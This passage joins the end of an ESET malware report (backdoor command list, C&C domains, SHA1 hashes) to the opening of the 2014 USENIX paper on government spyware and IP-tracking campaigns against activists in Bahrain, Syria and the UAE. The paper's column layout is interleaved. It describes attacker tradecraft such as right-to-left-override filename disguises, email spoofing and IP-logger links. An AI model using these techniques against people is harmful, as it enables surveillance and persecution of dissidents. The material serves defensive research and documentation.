to are in Spanish (translation in English):
CERRAR (close)
DESINSTALAR (uninstall)
SERVIDOR (server)
INFO
MAININFO
PING
REBOOT
POWEROFF
PROC
KILLPROC
VERUNIDADES (see units)
LISTARARCHIVOS (list files)
EXEC
DELFILE
DELFOLDER
RENAME
MKDIR
CAMBIOID (change ID)
GETFILE/SENDFILE/RESUMETRANSFER
SHELL
SERVICIOSLISTAR (list service)
INICIARSERVICIO (start service)
DETENERSERVICIO (stop service)
BORRARSERVICIO (erase service)
INSTALARSERVICIO (install service)
The malware can manage processes and services on the infected machine, transfer files to and from the
C&C server, run shell commands, and so on.
It is written in Delphi and connects to
www.dicemention.com.
Some samples contain a digital signature by “Nanning weiwu Technology co.,ltd”.
Alternative Malware #2: File Stealer
This malware, written in C, and contains several functions for harvesting files off the victim’s hard drive
according to criteria set in the configuration file.
Apart from doing a recursive sweep of all logical fixed
and remote drives, it also continually monitors any attached removable media or network shares by
listening to DBT_DEVICEARRIVAL events.
In addition to collecting files, the malware attempts to gather saved passwords, history of visited URLs,
account information and proxy information from the following applications:
Microsoft Messenger
Microsoft Outlook
Microsoft Internet Explorer
Mozilla Firefox
The C&C domains used by this malware are:
newvinta.com
worksware.net
Some samples of this file stealer detected in these campaigns also contain the signature by “Nanning
weiwu Technology co.,ltd” – another indicator that the infections are related.
List of SHA1 hashes:
Korplug:
5DFA79EB89B3A8DDBC55252BD330D04D285F9189
095550E3F0E5D24A59ADD9390E6E17120039355E
5D760403108BDCDCE5C22403387E89EDC2694860
05BFE122F207DF7806EB5E4CE69D3AEC26D74190
548577598A670FFD7770F01B8C8EEFF853C222C7
530D26A9BEEDCCED0C36C54C1BF3CDA28D2B6E62
F6CB6DB20AA8F17769095042790AEB60EECD58B0
EF17B7EC3111949CBDBDEB5E0E15BD2C6E90358F
17CA3BBDDEF164E6493F32C952002E34C55A74F2
973EA910EA3734E45FDE304F20AB6CF067456551
47D78FBFB2EFC3AB9DDC653A0F03D560D972BF67
0B5A7E49987EF2C320864CF205B7048F7032300D
E81E0F416752B336396294D24E639AE86D9C6BAA
E930D3A2E6B2FFDC7052D7E18F51BD5A765BDB90
Alternative Malware #1:
FDD41EB3CBB631F38AC415347E25926E3E3F09B6
457F4FFA2FE1CACFEA53F8F5FF72C3FA61939CCD
5B6D654EB16FC84A212ACF7D5A05A8E8A642CE20
7D59B19BD56E1D2C742C39A2ABA9AC34F6BC58D4
D7D130B8CC9BEA51143F28820F08068521763494
01B4B92D5839ECF3130F5C69652295FE4F2DA0C5
02C38EC1C67098E1F6854D1125D3AED6268540DE
Alternative Malware #2:
3A7FB6E819EEC52111693219E604239BD25629E9
BF77D0BA7F3E60B45BD0801979B12BEA703B227B
55EF67AFA2EC2F260B046A901868C48A76BC7B72
A29F64CD7B78E51D0C9FDFBDCBC57CED43A157B2
34754E8B410C9480E1ADFB31A4AA72419056B622
17A2F18C9CCAAA714FD31BE2DE0BC62B2C310D8F
6D99ACEA8323B8797560F7284607DB08ECA616D8
1884A05409C7EF877E0E1AAAEC6BB9D59E065D7C
1FC6FB0D35DCD0517C82ADAEF1A85FFE2AFAB4EE
5860C99E5065A414C91F51B9E8B779D10F40ADC4
7950D5B57FA651CA6FA9180E39B6E8CC1E65B746
Research by: Anton Cherepanov
Author Robert Lipovsky, ESET
When Governments Hack Opponents:
A Look at Actors and Technology
William R. Marczak, University of California, Berkeley, and The Citizen Lab;
John Scott-Railton, University of California, Los Angeles, and The Citizen Lab;
Morgan Marquis-Boire, The Citizen Lab; Vern Paxson, University of California, Berkeley,
and International Computer Science Institute
https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/marczak
This paper is included in the Proceedings of the
23rd USENIX Security Symposium.
August 20–22, 2014 • San Diego, CA
ISBN 978-1-931971-15-7
Open access to the Proceedings of
the 23rd USENIX Security Symposium
is sponsored by USENIX
When Governments Hack Opponents: A Look at Actors and Technology
William R. Marczak                         John Scott-Railton                  Morgan Marquis-Boire
UC Berkeley, Citizen Lab                    UCLA, Citizen Lab                       Citizen Lab
Vern Paxson
UC Berkeley, ICSI
Abstract                                                             we provide extensive detail from both technical and operational
perspectives as seen in three countries.
We view such character-
Repressive nation-states have long monitored telecommunica-          izations as the fundamental first step necessary for the rigorous,
tions to keep tabs on political dissent.
The Internet and online     scientific pursuit of a new problem space.
social networks, however, pose novel technical challenges to            For our study we draw upon several years of research we
this practice, even as they open up new domains for surveil-         have conducted into cases from Bahrain, Syria and the United
lance.
We analyze an extensive collection of suspicious files        Arab Emirates.
We frame the nature of these attacks, and the
and links targeting activists, opposition members, and non-          technology and infrastructure used to conduct them, in the con-
governmental organizations in the Middle East over the past          text of their impacts on real people.
We hope in the process to
several years.
We find that these artifacts reflect efforts to at-   inspire additional research efforts addressing the difficult prob-
tack targets’ devices for the purposes of eavesdropping, stealing    lem of how to adequately protect individuals with very limited
information, and/or unmasking anonymous users.
We describe           resources facing powerful adversaries.
attack campaigns we have observed in Bahrain, Syria, and the            As an illustration of this phenomenon, consider the follow-
United Arab Emirates, investigating attackers, tools, and tech-      ing anecdote, pieced together from public reports and court
niques.
In addition to off-the-shelf remote access trojans and       documents.
the use of third-party IP-tracking services, we identify commer-        At dawn on 3/12/13,1 police raided the house of 17-year-
cial spyware marketed exclusively to governments, including          old Ali Al-Shofa, confiscated his laptop and phone, and took
Gamma’s FinSpy and Hacking Team’s Remote Control Sys-                him into custody.
He was charged with referring to Bahrain’s
tem (RCS).
We describe their use in Bahrain and the UAE, and         King as a “dictator” (         ) and “fallen one” (         ) on a
map out the potential broader scope of this activity by conduct-
pseudonymous Twitter account, @alkawarahnews.
Accord-
ing global scans of the corresponding command-and-control
ing to court documents, Bahrain’s Cyber Crime Unit had linked
(C&C) servers.
Finally, we frame the real-world consequences
an IP address registered in his father’s name to the account on
of these campaigns via strong circumstantial evidence linking
12/9/12.
Operators of @alkawarahnews later forwarded a
hacking to arrests, interrogations, and imprisonment.
suspicious private message to one of the authors.
The message
was received on 12/8/12 on a Facebook account linked to the
Twitter handle, and contained a link to a protest video, purport-
1    Introduction                                                    edly sent by an anti-government individual.
The link redirected
through iplogger.org, a service that records the IP address
Computer security research devotes extensive efforts to pro-
of anyone who clicks.
Analytics for the link indicate that it had
tecting individuals against indiscriminate, large-scale attacks
been clicked once from inside Bahrain.
On 6/25/13, Ali was
such as those used by cybercriminals.
Recently, the prob-
sentenced to one year in prison.
lem of protecting institutions against targeted attacks conducted
Ali’s case is an example of the larger phenomenon we in-
by nation-states (so-called “Advanced Persistent Threats”) has
vestigate: attacks against activists, dissidents, trade unionists,
likewise elicited significant research interest.
Where these two
human rights campaigners, journalists, and members of NGOs
problem domains intersect, however—targeted cyber attacks by
(henceforth “targets”) in the Middle East.
The attacks we have
nation-states against individuals—has received virtually no sig-
documented usually involve the use of malicious links or e-mail
nificant, methodical research attention to date.
This new prob-
attachments, designed to obtain information from a device.
On
lem space poses challenges that are both technically complex
the one hand, we have observed attacks using a wide range of
and of significant real-world importance.
off-the-shelf spyware, as well as publicly available third-party
In this work we undertake to characterize the emergent prob-      services, like iplogger.org.
On the other hand, some at-
lem space of nation-state Internet attacks against individuals       tacks use so-called “lawful intercept” trojans and related equip-
engaged in pro-democracy or opposition movements.
While
we lack the data to do so in a fully comprehensive fashion,             1 Dates   in the paper are given MM/DD/YY.
USENIX Association 	                                                                         23rd USENIX Security Symposium  511
ment, purportedly sold exclusively to governments by compa-               do so in a sufficiently well-grounded, meaningful manner first
nies like Gamma International and Hacking Team.
The lat-                  requires developing an understanding of the targets’ knowledge
ter advertises that governments need its technology to “look              of security issues, their posture regarding how they currently
through their target’s eyes” rather than rely solely on “passive          protect themselves, and the resources (including potentially ed-
monitoring” [1].
Overall, the attacks we document are rarely              ucation) that they can draw upon.
To this end, we are now con-
technically novel.
In fact, we suspect that the majority of at-           ducting (with IRB approval) in-depth interviews with potential
tacks could be substantially limited via well-known security              targets along with systematic examination of their Internet de-
practices, settings, and software updates.
Yet, the attacks are           vices in order to develop such an understanding.
noteworthy for their careful social engineering, their links to
governments, and their real-world impact.
We obtained the majority of our artifacts by encouraging in-           2    Related Work
dividuals who might be targeted by governments to provide us
with suspicious files and unsolicited links, especially from un-          In the past decades, a rich body of academic work has grown to
familiar senders.
While this process has provided a rich set of           document and understand government Internet censorship, in-
artifacts to analyze, it does not permit us to claim our dataset is       cluding nationwide censorship campaigns like the Great Fire-
representative.
wall of China [9, 10, 11].
Research on governmental Internet
Our analysis links these attacks with a common class of ac-            surveillance and activities like law-enforcement interception is
tor: an attacker whose behavior, choice of target, or use of in-          a comparatively smaller area [12].
Some academic work looks
formation obtained in the attack, aligns with the interests of a          at government use of devices to enable censorship, such as key-
government.
In some cases, such as Ali’s, the attackers appear            word blacklists for Chinese chat clients [13], or the Green Dam
to be governments themselves; in other cases, they appear in-             censorware that was to be deployed on all new computers sold
stead to be pro-government actors, ranging from patriotic, not            in China [14].
We are aware of only limited previous work
necessarily skilled volunteers to cyber mercenaries.
The phe-             looking at advanced threat actors targeting activists with hack-
nomenon has been identified before, such as in Libya, when                ing, though this work has not always been able to establish ev-
the fall of Gaddafi’s regime revealed direct government ties to           idence of government connections [15].
hacking during the 2011 Civil War [2].
Platforms used by potential targets, such as GMail [16],
We make the following contributions:                                   Twitter [17], and Facebook [18] increasingly make transport-
• We analyze the technology associated with targeted at-               layer encryption the default, obscuring communications from
tacks (e.g., malicious links, spyware), and trace it back            most network surveillance.
This use of encryption, along with
to its programmers and manufacturers.
While the attacks              the global nature of many social movements, and the role of
are not novel—and indeed often involve technology used               diaspora groups, likely makes hacking increasingly attractive,
by the cybercrime underground—they are significant be-               especially to states who are unable to request or compel content
cause they have a real-world impact and visibility, and              from these platforms.
Indeed, the increasing use of encryption
are connected to governments.
In addition, we often find             and the global nature of targets have both been cited by pur-
amateurish mistakes in either the attacker’s technology or           veyors of “lawful intercept” trojans in their marketing materi-
operations, indicating that energy spent countering these            als [1, 19].
In one notable case in 2009, UAE telecom firm Eti-
threats can realize significant benefits.
We do not, how-            salat distributed a system update to its then 145,000 BlackBerry
ever, conclude that all nation-state attacks or attackers            subscribers that contained spyware to read encrypted Black-
are incompetent, and we suspect that some attacks have               Berry e-mail from the device.
The spyware was discovered
evaded our detection.
when the update drastically slowed users’ phones [20].
In con-
trast to country-scale distribution, our work looks at this kind of
• When possible, we empirically characterize the attacks
pro-government and government-linked surveillance through
and technology we have observed.
We map out global
highly targeted attacks.
use of two commercial hacking tools by governments by
searching through Internet scan data using fingerprints for             The term APT (Advanced Persistent Threat) refers to a
command-and-control (C&C) servers derived from our                   sophisticated cyber-attacker who persistently attempts to tar-
spyware analysis.
get an individual or group [21].
Work outside the academic
community tracking government cyberattacks typically falls
• We develop strong evidence tying attacks to govern-                  under this umbrella.
There has been significant work on
ment sponsors and corporate suppliers, countering de-                APT outside the academic community, especially among se-
nials, sometimes energetic and sometimes indirect, of                curity professionals, threat intelligence companies, and human
such involvement [3, 4, 5, 6], in contrast to denials [7]            rights groups.
Much of this work has focused on suspected
or claims of a corporate “oversight” board [8].
Our scan-            government-on-government or government-on-corporation cy-
ning suggests use of “lawful intercept” trojans by 11 ad-            ber attacks [22, 23].
Meanwhile, a small but growing body
ditional countries considered governed by “authoritarian             of this research deals with attacks carried out by governments
regimes.” We believe that activists and journalists in such          against opposition and activist groups operating within, as well
countries may experience harassment or consequences to               as outside their borders.
One of the most notable cases is
life or liberty from government surveillance.
GhostNet, a large-scale cyber espionage campaign against the
Finally, we do not explore potential defenses appropriate for          Tibetan independence movement [24, 25].
Other work avoids
protecting the target population in this work.
We believe that to         drawing conclusions about the attackers [26].
2
512  23rd USENIX Security Symposium	                                                                                  USENIX Association
Country   Date Range          Range of Targets                               Number and Type of Samples                              Distinct Malware C&C’s
Bahrain   4/9/12—             ≥ 12 activists, dissidents, trade unionists,   8 FinSpy samples, 7 IP spy links received via private   4 distinct IP addresses
7/31/13             human rights campaigners, and journalists      message, > 200 IP spy links observed publicly
Syria     2011 to present     10–20 individuals with technical back-         40–50: predominantly BlackShades, DarkComet,            160 distinct IP addresses
grounds who receive suspect files from their   Xtreme RAT, njRAT, ShadowTech RAT.
contacts
UAE       7/23/12—            7 activists, human rights campaigners, and     31 distinct malware samples spanning 7 types; 5 dis-    12 distinct IP addresses
7/31/13             journalists                                    tinct exploits
Table 1: Range of data for the study.
Country   Possible Impacts                  Probable Impacts
Bahrain   1.
3 individuals arrested, sen-   1.
Activist serving 1 yr in
tenced to 1–12 mo in prison       prison
2.
Union leader questioned by     2.
Police raid on house
police; fired
Syria     1.
Sensitive opposition com-      1.
Opposition members dis-
munications exposed to gov-       credited by publishing embar-
ernment                           rassing materials
2.
Exfiltrated material used to   2.
Exfiltrated materials used
identify and detain activists     during interrogation by secu-
rity services
UAE       Contacts targeted via mal-        Password stolen,        e-mail
ware                              downloaded
Table 2: Negative outcomes plausibly or quite likely aris-
ing from attacks analyzed.
Figure 1: E-mail containing FinSpy.
4.1      Bahrain
3      Data Overview and Implications
We have analyzed two attack campaigns in the context of
Our study is based on extensive analysis of malicious files and                      Bahrain, where the government has been pursuing a crackdown
suspect communications relevant to the activities of targeted                        against an Arab-Spring inspired uprising since 2/14/2011.
groups in Bahrain, Syria, and the UAE, as documented in Ta-                             The first involved malicious e-mails containing FinSpy, a
ble 1.
A number of the attacks had significant real-world impli-                     “lawful intercept” trojan sold exclusively to governments.
The
cations, per Table 2.
In many cases, we keep our descriptions                        second involved specially crafted IP spy links and e-mails de-
somewhat imprecise to avoid potential leakage of target identi-                      signed to reveal the IP addresses of operators of pseudonymous
ties.
accounts.
Some individuals who apparently clicked on these
We began our work when contacted by individuals con-                              links were later arrested, including Ali (cf.
§1), whose click
cerned that a government might have targeted them for cyber-                         appears to have been used against him in court.
While both
attacks.
As we became more acquainted with the targeted com-                         campaigns point back to the government, we have not as yet
munities, in some cases we contacted targeted groups directly;                       identified overlap between the campaigns; targets of FinSpy
in others, we reached out to individuals with connections to tar-                    appeared to reside mainly outside Bahrain, whereas the IP spy
geted groups, who allowed us to examine their communications                         links targeted those mainly inside the country.
We examine
with the groups.
For Bahrain and Syria, the work encompassed                         each campaign in turn.
10,000s of e-mails and instant messages.
For the UAE, the vol-
ume is several thousand communications.
FinSpy Campaign.
Beginning in April 2012, the authors
received 5 suspicious e-mails from US and UK-based activists
4      Case Studies: Three Countries                                                 and journalists working on Bahrain.
We found that some
of the attachments contained a PE (.exe) file designed to
This following sections outline recent targeted hacking cam-                         appear as an image.
Their filenames contained a Uni-
paigns in Bahrain, Syria and the UAE.
These cases have a com-                        code right-to-left override (RLO) character, causing Windows
mon theme: attacks against targets’ computers and devices with                       to render a filename such as gpj.1bajaR.exe instead as
malicious files and links.
In some cases the attackers employed                      exe.
Rajab1.jpg.
expensive and “government exclusive” malware, while in other                            The other .rar files contained a Word document with an
cases, attackers used cheap and readily available RATs.
Across                       embedded ASCII-encoded PE file containing a custom macro
these cases we find that clever social engineering often plays                       set to automatically run upon document startup.
Under default
a central role, which is strong evidence of a well-informed ad-                      security settings, Office disables all unsigned macros, so that
versary.
We also, however, frequently find technical and op-                         a user who opens the document will only see an informational
erational errors by the attackers that enable us to link attacks                     message that the macro has been disabled.
Thus, this attack was
to governments.
In general, the attacks we find are not well-                        apparently designed with the belief or hope that targets would
detected by anti-virus programs.
have reduced security settings.
3
USENIX Association 	                                                                                            23rd USENIX Security Symposium  513
Identification as FinSpy: By running the sample using                  ated with another government [4].
However, a proxy would
Windows Virtual PC, we found the following string in mem-                 show gaps in a global IPID as it forwarded traffic; our frequent
ory: y:\lsvn_branches\finspyv4.01\finspyv2\.
observation of strictly consecutive IPIDs thus contradicts this
This string suggests FinSpy, a product of Gamma Inter-                    statement.
national [27].
The executables used virtualized obfusca-                     Exploitation of captured data: Since we suspected the spy-
tion [28], which appeared to be custom-designed.
We de-                   ware operator would likely seek to exploit captured credentials,
vised a fingerprint for the obfuscater and located a structurally         particularly those associated with Bahraini activist organiza-
similar executable by searching a large malware database.
tions, we worked with Bahrain Watch, an activist organization
This executable contained a similar string, except it identi-             inside Bahrain.
Bahrain Watch established a fake login page
fied itself as FinSpy v3.00, and attempted to connect to                  on their website and provided us with a username and pass-
tiger.gamma-international.de, a domain registered                         word.
From a clean VM, we logged in using these credentials,
to Gamma International GmbH.
saving the password in Mozilla Firefox.
We then infected the
Analysis of capabilities: We found that the spyware has                VM with FinSpy and allowed it to connect to the Bahrain C&C
a modular design, and can download additional modules from                server.
Bahrain Watch’s website logs revealed a subsequent
a command & control (C&C) server, including password cap-                 hit from 89.148.0.41—made however to the site’s home-
ture (from over 20 applications) and recording of screenshots,            page, rather than its login page—coming shortly after we had
Skype chat, file transfers, and input from the computer’s micro-          infected the VM.
Decrypting packet captures of the spyware’s
phone and webcam.
activity, we found that our VM sent the password to the server
To exfiltrate data back to the C&C server, a module encrypts           exactly one minute earlier:
and writes it to disk in a special folder.
The spyware period-
ically probes this folder for files that match a certain naming           INDEX,URL,USERNAME,PASSWORD,USERNAME FIELD,
convention, then sends them to the C&C server.
It then over-              PASSWORD FIELD,FILE,HTTP 1,
writes the files, renames them several times, and deletes them,           http://bahrainwatch.org,bhwatch1,watchba7rain,
username,password,signons.sqlite,,
in an apparent effort to frustrate forensic analysis.
Very Strong,3.5/4.x
Analysis of encryption: Because the malware employed
myriad known anti-debugging and anti-analysis techniques, it                 The URL provided to the server did not include the path
thwarted our attempts to attach debuggers.
Since it did not in-           to the login page, which was inaccessible from the home-
clude anti-VM code, we ran it in TEMU, an x86 emulator de-                page.
This omission reflects the fact that the Firefox password
signed for malware analysis [29].
TEMU captures instruction-              database stores only domain names, not full login page URLs,
level execution traces and provides support for taint-tracking.
for each password.
Repeating the experiment again yielded a
We found that FinSpy encrypts data using a custom imple-               hit from the same IP address within a minute.
We inspected
mentation of AES-256-CBC.
The 32 byte AES key and 16 byte                 Bahrain Watch’s logs, which showed no subsequent (or previ-
IV are generated by repeatedly reading the low-order-4-bytes of           ous) activity from that address, nor any instances of the same
the Windows clock.
The key and IV are encrypted using an em-              User Agent string.
bedded RSA-2048 public key, and stored in the same file as the
data.
The private key presumably resides on the C&C server.
The weak AES keys make decryption of the data straightfor-                IP spy Campaign.
In an IP spy attack, the attacker aims to
ward.
We wrote a program that generally can find these keys in            discover the IP address of a victim who is typically the opera-
under an hour, exploiting the fact that many of the system clock          tor of a pseudonymous social media or e-mail account.
The at-
readings occur within the same clock-update quantum.
tacker sends the pseudonymous account a link to a webpage or
In addition, FinSpy’s AES code fails to encrypt the last block         an e-mail containing an embedded remote image, using one of
of data if less than the AES block size of 128 bits, leaving trail-       many freely-available services.2 When the victim clicks on the
ing plaintext.
Finally, FinSpy’s wire protocol for C&C commu-             link or opens the e-mail, their IP address is revealed to the at-
nication uses the same type of encryption, and thus is subject            tacker.3 The attacker then discovers the victim’s identity from
to the same brute force attack on AES keys.
While we suspect              their ISP.
In one case we identified legal documents that pro-
FinSpy’s cryptographic deficiencies reflect bugs, it is also con-         vided a circumstantial link between such a spy link and a sub-
ceivable that the cryptography was deliberately weakened to               sequent arrest.
facilitate one government monitoring the surveillance of oth-                Figure 2 illustrates the larger ecosystem of these attacks.
The
ers.
attackers appear to represent a single entity, as the activity all
C&C server:            The samples communicated with                   connects back to accounts that sent links shortened using a par-
77.69.140.194, which belongs to a subscriber of                           ticular user account al9mood4 on the bit.ly URL shortening
Batelco, Bahrain’s main ISP.
Analyzing network traffic                    service.
between our infected VM and the C&C server revealed that                     Recall Ali Faisal Al-Shufa (discussed in Section 1), who
the server used a global IPID, which allowed us to infer server           was accused of sending insulting tweets from an account
activity by its progression.
2 e.g.,
iplogger.org, ip-spy.com, ReadNotify.com.
In response to our preliminary work an executive at Gamma                 3 Several webmail providers and e-mail clients take limited steps to
told the press that Bahrain’s FinSpy server was merely a proxy            automatically block loading this content, but e-mails spoofed to come
and the real server could have been anywhere, as part of a claim          from a trusted sender sometimes bypass these defenses.
that the Bahrain FinSpy deployment could have been associ-                   4 A Romanization of the Arabic word for “steadfastness.”
4
514  23rd USENIX Security Symposium	                                                                                     USENIX Association
feb14truth.webs.com
Bit.ly user
iplogger.org                                                                                 Al9mood
Twitter ID
485527587                             Bahrain Gov't
Jehad Abdulla                                                                                          Twitter ID
Salman Darwish
(Gov't critic)                                                                                       987487705
Arrested
Account begins
sending IP spy links
Red Sky
(Translator)   Arrested
fatoomah85@gmail.com
Twitter ID
485500245
Al Kawarah News Clicked
Ali Al-Shufa
(Village media)  link                                                                 ReadNotify.com
Arrested
ip-spy.com
M        Clicked
House raid
(Village media)   link                                                Maryam                Sayed Yousif
Yokogawa Union                             Sami Abdulaziz Yokogawa
(Trade union)                             Fired from job Middle East
Legend
Actor   Spyware     C&C    Domain name     Packer    Target   Infection Targeted        Exploit      E-Mail     Consequence Attacker Bait Document
Figure 2: The ecosystem of Bahrain “IP spy” attacks.
@alkawarahnews (Al Kawarah News in Figure 2).
An op-                                            revolved around Tweets that referred to Bahrain’s King as a
erator of the account forwarded us a suspicious private message                                 “cursed one.” Red Sky had earlier targeted other users with IP
sent to the Al Kawarah News Facebook account from Red Sky.
spy links shortened using the al9mood bit.ly account.
Red Sky was purportedly arrested on 10/17/12, was convicted
The attack on Jehad Abdulla is noteworthy, as the ac-
of insulting the King on his Twitter account @RedSky446,
count’s activity aligned with communities typically critical of
and was sentenced to four months prison.5 When released, he
Bahrain’s opposition.
However, the account also directly crit-
found that the passwords for his Twitter, Facebook, and e-mail
icized the King on occasion, in one case referring to him as
accounts had been changed, and did not know how to recover
“weak” and “stingy.” An account linked to al9mood sent Je-
his accounts.
had Abdulla an IP spy link on 10/2/12 in a public message.
On
The message that Red Sky’s account sent to Al Kawarah
10/16/12, Salman Darwish was arrested for insulting the King
News included a link shortened using Google’s goo.gl ser-
using the Jehad Abdulla account.
He was sentenced to one
vice.
We used the goo.gl API to access analytics for the link,
month in prison, partly on the basis of his confession.
Salman’s
finding that it unshortened to iplogger.org/25SX and was
father claims that police denied Salman food, drink, and medi-
created on 12/8/12.
The link had received only one click, which
cal care.
came from Bahrain with the referrer www.facebook.com.
Ali’s case files contained a request from the Public Prose-                                     Another account linked to al9mood targeted @YLUBH, the
cution for information on an IP address that it had linked to Al                                Twitter account of Yokogawa Union, a trade union at the
Kawarah News about 22 hours after the link was created.
Court                                   Bahraini branch of a Japanese company.
@YLUBH received at
documents indicate that ISP data linked the IP address to Ali,                                  least three IP spy links in late 2012, sent via public Twitter mes-
and on this basis he was sentenced to one year in prison.
sages.
Yokogawa fired the leader of the trade union, Sami Ab-
Red Sky also targeted M in Figure 2.
M recalled click-                                       dulaziz Hassan, on 3/23/13 [30].
It later emerged that Sami was
ing on a link from Red Sky while using an Internet connec-                                      indeed the operator of the @YLUBH account, and that the police
tion from one of the houses in M’s village.
The house was                                       had called him in for questioning in relation to its tweets [31].
raided by police on 3/12/13, who were looking for the sub-
Use of embedded remote images: We identified several
scriber of the house’s internet connection.
Police questioning
targets who received spoofed e-mails containing embedded
5 According to information we received from two Twitter users, one                           remote images.
Figure 2 shows two such cases, Maryam
of whom claimed to have met Red Sky in prison; another to be a col-                             and Sayed Yousif.
The attacker sent the e-mails using
league.
ReadNotify.com, which records the user’s IP address upon
5
USENIX Association 	                                                                                                                  23rd USENIX Security Symposium  515
their mail client downloading the remote image.6                            sophisticated than FinSpy and RCS, they share the same ba-
While ReadNotify.com forbids spoofing in their TOS,                      sic functionality, including screen capture, keylogging, remote
the service has a vulnerability known to the attackers (and                 monitoring of webcams and microphones, remote shell, and file
which we confirmed) that allows spoofing the From address                   exfiltration.
by directly setting the parameters on a submission form on their                In the most common attack sequence we observed, illus-
website We have not found evidence suggesting this vulnerabil-              trated with three examples in Figure 3, the attacker seeds mal-
ity is publicly known, but it appears clear that the attacker ex-           ware via private chat messages, posts in opposition-controlled
ploited it, as the web form adds a X-Mai1er: RNwebmail                      social media groups, or e-mail.
These techniques often limit
header not added when sending through ReadNotify.com’s                      the world-visibility of malicious files and links, slowing their
other supported methods.
The header appeared in each e-mail                 detection by common AV products.
Typically, targets receive
the targets forwarded to us.
either (1) a PE in a .zip or .rar, (2) a file download link, or
When spoofing using this method, the original sender ad-                 (3) a link that will trigger a drive-by download.
The messages
dress still appears in X-Sender and other headers.
Accord-                  usually include text, often in Arabic, that attempts to persuade
ing to these, the e-mails received by the targets all came from             the target to execute the file or click the link.
fatoomah85@gmail.com.
A link sent in one of these e-                            The first attacks in Figure 3 date to 2012, and use bait files
mails was connected to the al9mood bit.ly account.
with a DarkComet RAT payload.
These attacks share the same
In monitoring accounts connected to al9mood, we counted                  C&C, 216.6.0.28, a Syrian IP address belonging to the Syr-
more than 200 IP spy links in Twitter messages and public                   ian Telecommunications Establishment, and publicly reported
Facebook posts.
Attackers often used (1) accounts of promi-                 as a C&C of Syrian malware since February 2012 [45].
The
nent or trusted but jailed individuals like “Red Sky,” (2) fake             first bait file presents to the victim as a PDF containing infor-
personas (e.g., attractive women or fake job seekers when tar-              mation about a planned uprising in Aleppo.
In fact the file is a
geting a labor union), or (3) impersonations of legitimate ac-              Windows Screensaver (.scr) that masquerades as a PDF using
counts.
In one particularly clever tactic, attackers exploited              Unicode RLO, rendering a name such as “.fdp.scr” dis-
Twitter’s default font, for example substituting a lowercase “l”            play to the victim as “.rcs.pdf.” The second bait file is
with an uppercase “I” or switching vowels (e.g.
from “a” to                 a dummy program containing DarkComet while masquerading
an “e”) to create at-a-glance identical usernames.
In addition,             as a Skype call encryption program, playing to opposition para-
malicious accounts tended to quickly delete IP spy tweets sent              noia about government backdoors in common software.
The
via (public) mentions, and frequently change profile names.
third attack in Figure 3, observed in October 2013, entices tar-
gets with e-mails purporting to contain or link to videos about
the current conflict, infecting victims with Xtreme RAT, and
4.2     Syria                                                               using the C&C tn1.linkpc.net.
The use of RATs against the opposition has been a well-                         For seeding, the attackers typically use compromised ac-
documented feature of the Syrian Civil War since the first re-              counts (including those of arrested individuals) or fake iden-
ports were published in early 2012 [36, 39, 40, 32, 34].
The                tities masquerading as pro-opposition.
Our illustration shows
phenomenon is widespread, and in our experience, most mem-                  in abstract terms the use of Victim A’s account to seed mal-
bers of the opposition know that some hacking is taking place.
ware (“Aleppo Plan”) via (say) Skype messages to Victim(s)
As summarized in Table 3, the attacks often include fake or ma-             Bn .
In the cases of Opp.
Member C and NGO Worker
liciously packaged security tools; intriguing, or ideological, or           D (here, actual victims, not abstract), targeting was by e-mail
movement-relevant content (e.g.
lists of wanted persons).
The               from domains apparently belonging to opposition groups, in-
seeding techniques and bait files suggest a good understanding              dicating a potential compromise.
One domain remains active,
of the opposition’s needs, fears and behavior, coupled with ba-             hosting a website of the Salafist Al-Nusra front [46], while the
sic familiarity with off-the-shelf RATs.
In some cases attacks              other appears dormant.
Opp.
Member C received a malicious
occur in a context that points to a more direct connection to               file as an e-mail attachment, while NGO Worker D was sent a
one of the belligerents: the Syrian opposition has regularly ob-            shortened link (url[.
]no/Uu5) to a download from a directory
served that detainees’ accounts begin seeding malware shortly               of Mrconstrucciones[.
]net,7 a site that may have been com-
after their arrest by government forces [41].
promised.
Both attacks resulted in an Xtreme RAT infection.
Researchers and security professionals have already profiled                 Interestingly, in the case of the fake Skype encryption
many of these RATs, including DarkComet [42, 43], Black-                    the deception extended to a YouTube video from “IT Se-
shades Remote Controller [38], Xtreme RAT [44], njRAT [26],                 curity Lab” [47] demonstrating the program’s purported ca-
and ShadowTech [36].
Some are available for purchase by any-                pabilities, as well as a website promoting the tool, skype-
one, in contrast to “government only” FinSpy and RCS.
For ex-               encryption.sytes.net.
The attackers also constructed a ba-
ample, Xtreme RAT retails for e350, while a version of Black-               sic, faux GUI for their “Encryption” program (see Figure 4).
shades lists for e40.
Others, like DarkComet, are free.
We                  The fake GUI has a number of non-functional buttons like “En-
have also observed cracked versions of these RATs on Arabic-                crypt” and “DeCrypt,” which generate fake prompts.
While dis-
language hacker forums, making them available with little ef-               tracted by this meaningless interaction, the victim’s machine is
fort and no payment trail.
While the RATs are cheaper and less              infected with DarkComet 3.3 [32, 33].
Anecdotally, campaign volume appears to track significant
6 YahooMail and the iPhone mail client automatically load these re-
mote images, especially in e-mails spoofed from trusted senders.
7 Obfuscated   to avoid accidental clicks on active malware URLs.
6
516  23rd USENIX Security Symposium	                                                                                       USENIX Association
Type                     Features                                                                     Examples (RATs)
Security tools           Executable files presented as a “tool” often accompanied by justifica-       “Skype Encryption” (DC) [32, 33], “Facebook Security” (cus-
tions or statements of its value in the targeted seeding, for example on     tom) [34], Anti-hacker (DC) [35], Fake Freegate VPN (ST) [36]
a social media site, at the download location, or in videos
Ideologically   or       A document or PE as download or attachment with accompanying en-             “Names of individuals wanted by the Regime,” (DC) “Aleppo
movement-relevant        couragement to open or act on the material, often masquerading as            [uprising] Plan” (DC) [37], important video (BS) [38], “Hama
files                    legitimate PDF documents or inadvertently leaked regime programs.
Rebels Council” document (DC) [39], “wanted persons”
Frequent use of RLO to disguise true extension (such as .exe or              database frontend (custom), movement relevant video (njRAT),
.scr)                                                                        file about the Free Syrian Army (Xtreme RAT)
Miscellaneous tools      Tools pretending to offer functionality relevant to the opposition, such     hack facebook pro v6.9 (DC) [40]
as a fake tool claiming to “mass report” regime pages on Facebook
Table 3: Campaigns and RATs employed in Syrian surveillance.
BS = Blackshades, DC = DarkComet, ST = Shad-
owTech.
“Skype
SY Malware      tn1.linkpc.net   skype-encription    Encryption”    Xtreme Rat       Mrconstrucciones.net      Url.no
Actors                            .sytes.net
fsa@freesyria.com mohamed@jalnosra.com
216.6.0.28                                  fsa.zip
Dark Comet
SY Gov't                              Account seeds
“Aleppo Plan”
E-Mail                E-Mail
Victim A                  Credentials
Arrested
gained
